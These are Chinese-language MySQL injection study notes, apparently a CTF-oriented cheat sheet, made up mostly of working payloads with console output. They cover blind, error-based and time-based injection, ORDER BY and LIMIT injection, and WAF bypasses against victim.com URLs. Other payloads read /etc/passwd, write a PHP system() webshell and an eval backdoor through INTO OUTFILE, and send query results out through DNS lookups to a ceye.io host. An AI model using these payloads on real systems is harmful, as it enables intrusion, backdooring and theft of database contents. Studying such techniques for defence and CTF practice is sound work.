Sql注入笔记

注释

单行注释
#  
-- -
;%00

多行注释
/*
`

False 注入

Mysql位运算符
算术运算

%的原理:分子为字符串转化为0,他分母不能为0,分母为0的话结果为NULL,分母不为0的话 结果都为0。
'+', 拼接的语句:where username=''+''
'-' 拼接的语句:where username=''-''
'*' 拼接的语句:where username=''*''
'/' 拼接的语句:where username=''/6#
'%' 拼接的语句:where username=''%1#

位操作符

xor(^)
如果任一操作数为NULL,则返回NULL。 对于非NULL操作数,如果奇数个操作数非零,则求值为1,否则返回0。
 '^' 拼接的语句:where username=''^0#'
 '&' 拼接的语句:where username=''&0#'
 '|' 拼接的语句:where username=''|0#'
'<<' 拼接的语句:where username=''<<0#'
位非(~)

比较运算符

安全等于:<=>
select 1<=>null -- 结果为0;select null<=>null -- 结果为1;
拼接的语句:where username=''=0<=>1#'

不等于<>(!=)
拼接的语句:where username=''=0<>0#'

大小于>或<
拼接的语句:where username=''>-1#

其他

'+1 is not null#  
'in(-1,1)#  in结果集有null不影响;
'not in(1,0)#  not in的结果集中出现null则查询结果为null; 
'like 1#  
'REGEXP 1#    
'BETWEEN 1 AND 1#  
'div 1#  
'xor 1#  
'=round(0,1)='1  
'<>ifnull(1,2)='1

trim函数可以过滤指定的字符串:

完整格式:TRIM([{BOTH | LEADING | TRAILING} [remstr] FROM] str)
mysql> SELECT TRIM('  bar   ');  
            -> 'bar'  
mysql> SELECT TRIM(LEADING 'x' FROM 'xxxbarxxx');   --删除指定的首字符 x  
            -> 'barxxx'  
mysql> SELECT TRIM(BOTH 'x' FROM 'xxxbarxxx');      --删除指定的首尾字符 x  
            -> 'bar'  
mysql> SELECT TRIM(TRAILING 'xyz' FROM 'barxxyz');  --删除指定的尾字符 x  
            -> 'barx'  

Mysql下Limit注入方法

此方法适用于MySQL 5.x中,在limit语句后面的注入

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point
上面的语句包含了ORDER BY,MySQL当中UNION语句不能在ORDER BY的后面
SELECT 
    [ALL | DISTINCT | DISTINCTROW ] 
      [HIGH_PRIORITY] 
      [STRAIGHT_JOIN] 
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] 
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] 
    select_expr [, select_expr ...] 
    [FROM table_references 
    [WHERE where_condition] 
    [GROUP BY {col_name | expr | position} 
      [ASC | DESC], ... [WITH ROLLUP]] 
    [HAVING where_condition] 
    [ORDER BY {col_name | expr | position} 
      [ASC | DESC], ...] 
    [LIMIT {[offset,] row_count | row_count OFFSET offset}] 
    [PROCEDURE procedure_name(argument_list)] 
    [INTO OUTFILE 'file_name' export_options 
      | INTO DUMPFILE 'file_name' 
      | INTO var_name [, var_name]] 
    [FOR UPDATE | LOCK IN SHARE MODE]]

在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的。
报错注入

mysql> select * from users where id>1 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'

时间注入

select * from users where id>1 order by id limit 1,1 procedure analyse((select extractvalue
(rand(),concat(0x3a,(IF(MID(version(),1,1) like 5,BENCHMARK(5000000,SHA1(1)),1))))),1);

order by注入

order by 后的数字可以作为一个注入点

/?order=IF(1=1,name,price) 通过name字段排序
/?order=IF(1=2,name,price) 通过price字段排序
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序
/?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通过price字段排序
/?order=IFNULL(NULL,price) 通过price字段排序
/?order=IFNULL(NULL,name) 通过name字段排序
/?order=rand(1=1) 
/?order=rand(1=2)
/?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常 /?order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误 
利用regexp 
/?order=(select+1+regexp+if(1=1,1,0x00)) 正常 
/?order=(select+1+regexp+if(1=2,1,0x00)) 错误  
利用updatexml 
/?order=updatexml(1,if(1=1,1,user()),1) 正确
/?order=updatexml(1,if(1=2,1,user()),1) 错误  
利用extractvalue 
/?order=extractvalue(1,if(1=1,1,user())) 正确 
/?order=extractvalue(1,if(1=2,1,user())) 错误 
sleep
/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
/?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒
数据猜解
通过下可以得知user()第一位为r,ascii码的16进制为0x72:
/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正确
/?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 错误
猜解当前数据库的表名:
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+
table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00)) 正确
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+
table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 错误
猜解指定表名中的列名:
/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns
+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常

/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns
+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 错误

字符串连接

select concat_ws('|','11','22','33');//11|22|33
select concat('11','22','33');//112233
select 'a''d''m''i''n';

文件操作权限

在MySQL中,存在一个称为secure_file_priv的全局系统变量。 该变量用于限制数据的导入和导出操作,例如SELECT … INTO OUTFILE语句和LOAD_FILE()

如果secure_file_priv变量为空那么直接可以使用函数,如果为null是不能使用

但在mysql的5.5.53之前的版本是默认为空,之后的版本为null,所以是将这个功能禁掉了

mysql> show variables like "secure_file_priv";
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv | NULL  |
+------------------+-------+

读文件

读文件函数LOAD_FILE()
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(0x2F6574632F706173737764);

注意点:

  1. LOAD_FILE的默认目录@@datadir

  2. 文件必须是当前用户可读

  3. 读文件最大的为1047552个byte, @@max_allowed_packet可以查看文件读取最大值

写文件

INTO OUTFILE/DUMPFILE
SELECT '<? system($_GET['c']); ?>' INTO OUTFILE '/var/www/shell.php';

这两个函数都可以写文件,但是有很大的差别 

INTO OUTFILE函数写文件时会在每一行的结束自动加上换行符 
INTO DUMPFILE函数在写文件会保持文件得到原生内容,这种方式对于二进制文件是最好的选择 

注意点:

  1. INTO OUTFILE不会覆盖文件

  2. INTO OUTFILE必须是查询语句的最后一句

  3. 路径名是不能编码的,必须使用单引号
    创建数据库导出一句话后门,secure_file_priv 需要开启

CREATE TABLE `mysql`.`test` (`temp` TEXT NOT NULL );
Query OK, 0 rows affected (0.12 sec)

mysql> INSERT INTO `mysql`.`test` (`temp` ) VALUES('<?php @eval($_POST[test]);?>');
Query OK, 1 row affected (0.00 sec)

mysql> select * from test;
+-----------------------------------+
| temp                              |
+-----------------------------------+
| <?php @eval($_POST[test]);?> |
+-----------------------------------+
1 row in set (0.00 sec)

SELECT `temp` FROM `test` INTO OUTFILE 'E:/123.php';
DROP TABLE IF EXISTS `test`;

正则绕过
图片.png
特殊字符绕过空格
图片.png

报错注入

floor报错
有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
(没有floor和rand函数也是不会报错的)
mysql> select count(*),concat(0x3a,database(),0x3a,floor(rand()*2))a from information_schema.tables 
group by a;
ERROR 1062 (23000): Duplicate entry ':security:1' for key 'group_key'

UpdateXml报错注入
mysql> select updatexml(0,concat(0x7e,(select database())),0);
ERROR 1105 (HY000): XPATH syntax error: '~security'

extractvalue报错注入
mysql> select extractvalue(1,concat(0x5c,(select database())));
ERROR 1105 (HY000): XPATH syntax error: '\security'

Error based Double Query Injection
mysql> select * from users where id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1;
ERROR 1062 (23000): Duplicate entry '5.5.53~1' for key 'group_key'

当一个库中不存在的自定义函数他就会爆出当前库中没有此函数,从而爆出数据库名。
mysql> select username,phone from info where id=f();
ERROR 1305 (42000): FUNCTION security.f does not exist

Polygon,linestring爆表名,库名
mysql> select username,phone from info where id=1 and Polygon(id);
ERROR 1367 (22007): Illegal non geometric '`security`.`info`.`id`' value found during parsing
mysql> select username,phone from info where id=1 and linestring(id);
ERROR 1367 (22007): Illegal non geometric '`security`.`info`.`id`' value found during parsing

                                                                exp()
select * from users where id=1 and exp(~(select * from(select user())a));

绕过未知字段名的技巧

waf拦截了information_schema、columns、tables、database、schema等关键字或函数

mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
..............

mysql> select `3` from (select 1,2,3 union select * from users)a limit 1,1;
+------+
| 3    |
+------+
| Dumb |
+------+
1 row in set (0.00 sec)

mysql> select `1`,`2`,`3` from (select 1,2,3 union select * from users)a limit 2,1;
+---+----------+------------+
| 1 | 2        | 3          |
+---+----------+------------+
| 2 | Angelina | I-kill-you |
+---+----------+------------+
1 row in set (0.00 sec)
mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c union select * from users;
+----+----------+------------+
| 1  | 2        | 3          |
+----+----------+------------+
|  1 | 2        | 3          |
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
+----+----------+------------+
4 rows in set (0.00 sec)

mysql> select e.3 from (select * from (select 1)a,(select 2)b,(select 3)c union select * from users)e;
+------------+
| 3          |
+------------+
| 3          |
| Dumb       |
| I-kill-you |
| p@ssword   |
+------------+
4 rows in set (0.00 sec)

mysql> select e.3 from (select * from (select 1)a,(select 2)b,(select 3)c union select * from users)e limit 1 offset 3;
+----------+
| 3        |
+----------+
| p@ssword |
+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 union select (select e.3 from (select * from (select 1)a,(select 2)b,(select 3)c union select * from users)e limit 1 offset 3)f,(select 1)g,(select 1)h;
+----------+----------+----------+
| id       | username | password |
+----------+----------+----------+
| 1        | Dumb     | Dumb     |
| p@ssword | 1        | 1        |
+----------+----------+----------+
2 rows in set (0.00 sec)

如果不允许使用union

mysql> select * from users where id=1 and (select * from (select * from users as a joinusers as b)
as c);
ERROR 1060 (42S21): Duplicate column name 'id'

利用using爆其他字段
mysql> select * from users where id=1 and (select * from (select * from users as a join users as b 
using(id))as c);
ERROR 1060 (42S21): Duplicate column name 'username'

mysql> select * from users where id=1 and (select * from (select * from users as a join users as b
using(id,username))as c);
ERROR 1060 (42S21): Duplicate column name 'password'

这个的原理就是在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候 查询到重复字段,就成功报错。
详解mysql中的Using与On的用法

使用Join查询

在联合查询的时候,查询填充的列分割较多时,就会被waf拦截

mysql> select * from users union select * from (select 1)a join (select 2)b join (select 3)c;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
|  1 | 2        | 3          |
+----+----------+------------+
14 rows in set (0.00 sec)

Mysql约束攻击

在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)
在mysql数据库中当插入某个字段的值超过了预设的长度,mysql会自动造成截断.

mysql>  create table user(id int primary key,user varchar(10),pwd varchar(20));
Query OK, 0 rows affected (0.38 sec)

mysql> insert into user value(1,'admin','123');
Query OK, 1 row affected (0.00 sec)

mysql> insert into user value(2,'admin          ','456');
Query OK, 1 row affected, 1 warning (0.00 sec)

mysql> select * from user;
+----+------------+------+
| id | user       | pwd  |
+----+------------+------+
|  2 | admin      | 456  |
|  1 | admin      | 123  |
+----+------------+------+
2 rows in set (0.00 sec)

mysql> select length(user) from user;
+--------------+
| length(user) |
+--------------+
|           10 |
|            5 |
+--------------+
2 rows in set (0.00 sec)
长度是不一样的,但是在受影响的版本中,id=2的user值admin          在前端登录处登录并且在后端验证中,admin
是等同id=1的user值admin的.

基于约束的SQL攻击
bugku的一道CTF题,地址:http://47.93.190.246:49163/

IN

在过滤等号或者过滤like等的sql注入情况下IN很有用

mysql> select * from users where id in (1,2);
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
+----+----------+------------+
2 rows in set (0.00 sec)

mysql> select substr('abc',1,1) in ('z');
+----------------------------+
| substr('abc',1,1) in ('z') |
+----------------------------+
|                          0 |
+----------------------------+
1 row in set (0.00 sec)

mysql> select substr('abc',1,1) in ('a');
+----------------------------+
| substr('abc',1,1) in ('a') |
+----------------------------+
|                          1 |
+----------------------------+
1 row in set (0.00 sec)

Between

BETWEEN操作符在WHERE子句中使用,作用是选取介于两个值之间的数据范围。也就说让我们可以运用一个范围(range)内抓出数据库中的值。

mysql> select * from users where id between 1 and 3;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
+----+----------+------------+
3 rows in set (0.00 sec)

mysql> select * from users where username between 'sa' and 'sz';
+----+----------+-----------+
| id | username | password  |
+----+----------+-----------+
|  4 | secure   | crappy    |
|  5 | stupid   | stupidity |
|  6 | superman | genious   |
+----+----------+-----------+
3 rows in set (0.00 sec)

还支持16进制
mysql> select * from users where username between 0x7365 and 0x737a;
+----+----------+-----------+
| id | username | password  |
+----+----------+-----------+
|  4 | secure   | crappy    |
|  5 | stupid   | stupidity |
|  6 | superman | genious   |
+----+----------+-----------+
3 rows in set (0.00 sec)

可以结合字符串截取进行盲注
mysql> select * from users where substr(username,1,1) between 'a' and 'd';
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
+----+----------+------------+
5 rows in set (0.00 sec)

列名被ban,自己构造

mysql> select 1,2,3 union select * from users;
+----+----------+------------+
| 1  | 2        | 3          |
+----+----------+------------+
|  1 | 2        | 3          |
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
+----+----------+------------+
6 rows in set (0.00 sec)

mysql> select passwd from (select 1,2,3 as passwd union select * from users)as twoname;
+------------+
| passwd     |
+------------+
| 3          |
| Dumb       |
| I-kill-you |
| p@ssword   |
| crappy     |
| stupidity  |
+------------+
6 rows in set (0.00 sec)

limit下的字段数判断

mysql> select * from users limit 1,1 into @,@;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
mysql> select * from users limit 1,1 into @,@,@;
Query OK, 1 row affected (0.00 sec)

or条件下前后如果都为真则返回所有结果,否则只返回条件为真的一方的值

BENCHMARK

BENCHMARK函数是指执行某函数的次数,次数多时能够达到与sleep函数相同的效果

mysql> select if(left(version(),1)=5,BENCHMARK(10000000,SHA('1')),1);
+--------------------------------------------------------+
| if(left(version(),1)=5,BENCHMARK(10000000,SHA('1')),1) |
+--------------------------------------------------------+
|                                                      0 |
+--------------------------------------------------------+
1 row in set (3.60 sec)

绕过\'过滤

hex编码
SELECT password FROM Users WHERE username = 0x61646D696E

char编码
SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

%2527
主要绕过magic_quotes_gpc过滤,因为%25解码为%,结合后面的27也就是%27也就是',所以成功绕过过滤。

Mysql字符编码利用

传入的username=admin%c2,php的检测if ($username === ‘admin’)自然就可以绕过的,在mysql中可以正常查出username=’admin’的结果,原理是Mysql在转换字符集的时候,将不完整的字符给忽略了

造成这个Trick的根本原因是,Mysql字段的字符集和php mysqli客户端设置的字符集不相同。
set names utf8 的意思是将客户端的字符集设置为utf8

在默认情况下,mysql字符集为latin1,而执行了set names utf8;以后,character_set_client、
character_set_connection、character_set_results等与客户端相关的配置字符集都变成了utf8,但
character_set_database、character_set_server等服务端相关的字符集还是latin1。

2008年鸟哥曾在博客中讲解了Mysql字符集:

  1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;
  2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集
character_set_client和character_set_connection被设置成了utf8,而内部操作字符集其实也就是username字段的
字符集还是默认的latin1。于是,整个操作就有如下字符串转换过程:

utf8 --> utf8 --> latin1

最后执行比较username='admin'的时候,'admin'是一个latin1字符串。

phithon的文章

md5注入

$sql = "SELECT * FROM admin WHERE username = admin pass ='".md5($password,true)."'";

当md5函数的第二个参数为True时,编码将以16进制返回,再转换为字符串。而字符串’ffifdyop’的md5加密结果为'or' 其中 trash为垃圾值,or一个非0值为真,也就绕过了检测。

Update 和 Insert注入

闭合后构造

insert into users values (17,'注入点', 'bond');

若第一个参数可控,则可以将注入点闭合后,在后面使用不被单引号闭合的select语句,将查询结果插入表中,然后再想办法通过正常途径查看。
* 数字相加

insert into users values (17,'join', '注入点');

注入点变为了第二个,不能同闭合直接构造。但可以通过把想要获取的数据转换为数字,然后与原字符串相加,获取数字后再还原回来。

insert into users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n-1) * 8, 8* n)),16, 10);

CONV(N,from_base,to_base)
mysql> select 'sssdasd'|2;
+-------------+
| 'sssdasd'|2 |
+-------------+
|           2 |
+-------------+
1 row in set, 1 warning (0.00 sec)

mysql> select '1sssdasd'|2;
+--------------+
| '1sssdasd'|2 |
+--------------+
|            3 |
+--------------+
1 row in set, 1 warning (0.00 sec)

构造错误

INSERT INTO table 1 VALUES (‘注入点’);

对于非SELECT注入,如果成功执行的话会修改数据库数据。实战过程中不但会破坏数据库结构(白帽子挖洞的时候很可能因为这个违法),还容易引起管理员注意。所以在不让SQL语句正常执行的情况下获取数据是最好的方法。

INSERT INTO table 1 VALUES (''+  SELECT CASE WHEN @@version LIKE '5.1.56%' 
THEN SLEEP(5) ELSE 'somevale' END + '');

因为返回了多列数据,该insert语句并不会执行,但是内部的select语句和sleep函数会照常执行,也就可以通过写脚本获取数据了。

4.报错注入

mysql> insert into users value(null,'p' and extractvalue(1,concat(0x7e,(select @@version),0x7e)));
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53~'
mysql> update users set username='test' where id=1 and extractvalue(1,concat(0x7e,(select @@version),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53~'

DNSLOG注入

利用unc路径配合load_file()函数可以用来发送dns解析请求,把查询结果放在多级域名中解析,然后能够在dns服务器的解析日志中获取查询结果。
- unc路径是windows下的特性,默认安装的linux下不存在这样的功能。
- 因为存在dns缓存,请求过一次域名后,会在本机产生dns记录,不会向外递归查询,所以unc路径中DNS域名不能相同。通过在域名中添加随机字符串'rMy','Nrz'确保每次查询dns不存在缓存
- unc路径长度不能过长,unc路径最大长度为128,可以通过使用substring()函数每次传输特定位数的数据。
- unc路径中不能含有空格等特殊字符,包含的话不会发送dns请求。可以对获得数据进行hex编码

DNS在解析的时候会留下日志,通过读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。
dnslog平台:http://ceye.io/

mysql> use security;
Database changed

mysql> select load_file('\\\\test.xxx.ceye.io\\abc');
+-------------------------------------------+
| load_file('\\\\test.xxx.ceye.io\\abc') |
+-------------------------------------------+
| NULL                                      |
+-------------------------------------------+
1 row in set (22.05 sec)

mysql> select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'));
+----------------------------------------------------------------------+
| load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc')) |
+----------------------------------------------------------------------+
| NULL                                                                 |
+----------------------------------------------------------------------+
1 row in set (0.00 sec)

图片.png

Bypass WAF

SQL注释允许我们绕过很多过滤和WAF。
http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--

一些WAF只过滤小写的SQL关键字。
http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--

某些应用程序和WAF使用preg_replace删除所有SQL关键字。
http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--

大多数CMS和WAF将解码和过滤/绕过应用程序输入,但一些WAF只能解码输入一次 
双编码可以绕过某些滤波器,因为WAF将解码输入一次,然后在应用程序保持时进行滤波解码执行的SQL语句

使用C语言编写的WAF容易溢出,或者在加载一堆数据时采取不同的行为。提供大量的数据可以让我们的代码执行 

内联注释(仅限Mysql)
/*!50000SeLeCt*/大于5.0的版本可以执行

使用~
mysql> select * from user union select 1,2,~3,~4;
+----+----------+----------------------------------+----------------------+
| id | username | passwd                           | role                 |
+----+----------+----------------------------------+----------------------+
|  1 | admin    | 9135967b6c6b40aa49f070360ea99b1f | admin                |
|  1 | 2        | 18446744073709551612             | 18446744073709551611 |
+----+----------+----------------------------------+----------------------+
2 rows in set (0.00 sec)

使用小数点(.)
mysql> select * from user union select 1,2,.3,.4;
+----+----------+----------------------------------+-------+
| id | username | passwd                           | role  |
+----+----------+----------------------------------+-------+
|  1 | admin    | 9135967b6c6b40aa49f070360ea99b1f | admin |
|  1 | 2        | 0.3                              | 0.4   |
+----+----------+----------------------------------+-------+
2 rows in set (0.00 sec)

使用字符(*9e0)
*9e0和前面的id=1′和起来,后台查询语句可能就变成了select * from user where id='1'*9e0;而在mysql中9e0表示9乘10的0次方,所以mysql会把上面字符串1强制转换成数值1再乘9,语句也就变成了select * from article where id='1′
mysql> select * from user where id='1' *9e0 union select 1,2,3,4;
+----+----------+--------+------+
| id | username | passwd | role |
+----+----------+--------+------+
|  1 | 2        | 3      | 4    |
+----+----------+--------+------+
1 row in set (0.00 sec)

字符串前如from前加e0
mysql> select * from user where id=1 union select 1,2,3,4e0from user;
+----+----------+----------------------------------+-------+
| id | username | passwd                           | role  |
+----+----------+----------------------------------+-------+
|  1 | admin    | 9135967b6c6b40aa49f070360ea99b1f | admin |
|  1 | 2        | 3                                | 4     |
+----+----------+----------------------------------+-------+
2 rows in set (0.00 sec)

innodb

MySQL 5.7之后的版本,在其自带的 mysql 库中,新增了innodb_table_statsinnodb_index_stats这两张日志表。如果数据表的引擎是innodb ,则会在这两张表中记录表、键的信息 。
如果waf掉了information我们可以利用这两个表注入数据库名和表名。

mysql> select * from mysql.innodb_table_stats;
+---------------+---------------+---------------------+--------+----------------------+--------------------------+
| database_name | table_name    | last_update         | n_rows | clustered_index_size | sum_of_other_index_sizes |
+---------------+---------------+---------------------+--------+----------------------+--------------------------+
| challenges    | ZGRW907ENU    | 2018-05-18 01:55:43 |      0 |                    1 |                        0 |
| dvwa          | guestbook     | 2018-04-21 23:00:47 |      0 |                    1 |                        0 |
| dvwa          | users         | 2018-04-21 23:00:57 |      5 |                    1 |                        0 |
| mysql         | gtid_executed | 2018-04-21 22:47:54 |      0 |                    1 |                        0 |
| security      | emails        | 2018-05-18 01:55:43 |      8 |                    1 |                        0 |
| security      | fish_admin    | 2018-11-27 18:28:51 |      0 |                    1 |                        1 |
| security      | flag          | 2018-09-18 05:16:14 |      0 |                    1 |                        0 |
| security      | referers      | 2018-05-18 01:55:43 |      0 |                    1 |                        0 |
| security      | uagents       | 2018-05-18 01:55:43 |      0 |                    1 |                        0 |
| security      | users         | 2018-05-18 01:55:43 |     13 |                    1 |                        0 |
| sys           | sys_config    | 2018-04-21 22:47:54 |      2 |                    1 |                        0 |
+---------------+---------------+---------------------+--------+----------------------+--------------------------+
11 rows in set (0.08 sec)

mysql> mysql> select * from mysql.innodb_index_stats;
+---------------+---------------+------------+---------------------+--------------+------------+-------------+-----------------------------------+
| database_name | table_name    | index_name | last_update         | stat_name    | stat_value | sample_size | stat_description                  |
+---------------+---------------+------------+---------------------+--------------+------------+-------------+-----------------------------------+
| challenges    | ZGRW907ENU    | PRIMARY    | 2018-05-18 01:55:43 | n_diff_pfx01 |          0 |           1 | sessid                            |
| challenges    | ZGRW907ENU    | PRIMARY    | 2018-05-18 01:55:43 | n_leaf_pages |          1 |        NULL | Number of leaf pages in the index |
| challenges    | ZGRW907ENU    | PRIMARY    | 2018-05-18 01:55:43 | size         |          1 |        NULL | Number of pages in the index      |
| dvwa          | guestbook     | PRIMARY    | 2018-04-21 23:00:47 | n_diff_pfx01 |          0 |           1 | comment_id                        |
| dvwa          | guestbook     | PRIMARY    | 2018-04-21 23:00:47 | n_leaf_pages |          1 |        NULL | Number of leaf pages in the index |
| dvwa          | guestbook     | PRIMARY    | 2018-04-21 23:00:47 | size         |          1 |        NULL | Number of pages in the index      |
| dvwa          | users         | PRIMARY    | 2018-04-21 23:00:57 | n_diff_pfx01 |          5 |           1 | user_id                           |
| dvwa          | users         | PRIMARY    | 2018-04-21 23:00:57 | n_leaf_pages |          1 |        NULL | Number of leaf pages in the index |
| dvwa          | users         | PRIMARY    | 2018-04-21 23:00:57 | size         |          1 |        NULL | Number of pages in the index      |
| mysql         | gtid_executed | PRIMARY    | 2018-04-21 22:47:54 | n_diff_pfx01 |          0 |           1 | source_uuid                       |
| mysql         | gtid_executed | PRIMARY    | 2018-04-21 22:47:54 | n_diff_pfx02 |          0 |           1 | source_uuid,interval_start        |
| mysql         | gtid_executed | PRIMARY    | 2018-04-21 22:47:54 | n_leaf_pages |          1 |        NULL | Number of leaf pages in the index |
| mysql         | gtid_executed | PRIMARY    | 2018-04-21 22:47:54 | size         |          1 |        NULL | Number of pages in the index      |
| security      | emails        | PRIMARY    | 2018-05-18 01:55:43 | n_diff_pfx01 |          8 |           1 | id                                |
| security      | emails        | PRIMARY    | 2018-05-18 01:55:43 | n_leaf_pages |          1 |        NULL | Number of leaf pages in the index |
...............

sys

MySQL 5.7版中,新加入了sys schema,里面整合了各种资料库资讯
其中对我们最有用的资讯大概就是statement_analysis表中的query,里面纪录着我们执行过的SQL语句(normalize过的)和一些数据。

mysql> select version();
+-----------+
| version() |
+-----------+
| 8.0.13    |
+-----------+
1 row in set (0.00 sec)

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
4 rows in set (0.00 sec)

mysql> select query from sys.statement_analysis;
+-------------------------------------------------------------------+
| query                                                             |
+-------------------------------------------------------------------+
| SELECT `cat` . `name` AS `CATA ... s_database` ( `sch` . `name` ) |
| SELECT @@`skip_networking` , @ ... ssl_crlpath` , @@`tls_version` |
| SELECT @@`version_comment` LIMIT ?                                |
| SELECT `version` ( )                                              |
+-------------------------------------------------------------------+
4 rows in set (0.03 sec)

报错盲注

mysql> SELECT 18446744073709551610 * 2;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551610 * 2)'
mysql> SELECT 18446744073709551610 * 1;
+--------------------------+
| 18446744073709551610 * 1 |
+--------------------------+
|     18446744073709551610 |
+--------------------------+
1 row in set (0.00 sec)
mysql> SELECT updatexml(1,'@',1);
ERROR 1105 (HY000): XPATH syntax error: ''
mysql> SELECT updatexml(1,'1',1);
+--------------------+
| updatexml(1,'1',1) |
+--------------------+
| NULL               |
+--------------------+
1 row in set (0.00 sec)
mysql> SELECT pow(9999,100);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(9999,100)'
mysql> SELECT pow(9999,1);
+-------------+
| pow(9999,1) |
+-------------+
|        9999 |
+-------------+
1 row in set (0.00 sec)
mysql> SELECT exp((select 1)*18446744073709551615);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp((1 * 18446744073709551615))'
mysql> SELECT exp((select 0)*18446744073709551615);
+--------------------------------------+
| exp((select 0)*18446744073709551615) |
+--------------------------------------+
|                                    1 |
+--------------------------------------+
1 row in set (0.00 sec)

时间盲注

MySQL时间盲注五种延时方法

sleep就不用说了

BENCHMARK(count,expr) 
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。
mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
|                          0 |
+----------------------------+
1 row in set (2.02 sec)

笛卡尔积
mysql> select if(1=1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),0);
+---------------------------------------------------------------------------------------------+
| if(1=1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),0) |
+---------------------------------------------------------------------------------------------+
|                                                                                    41809156 |
+---------------------------------------------------------------------------------------------+
1 row in set (1.08 sec)

GET_LOCK
在一个session中可以先锁定一个变量例如:select get_lock('smi1e',1)
然后通过另一个session 再次执行get_lock函数 select get_lock('smi1e',5),此时会产生5 秒的延迟,其效果类似于sleep(5)。
但是利用场景是有条件限制的:需要提供长连接。在Apache+PHP搭建的环境中需要使用 mysql_pconnect函数来连接数据库。

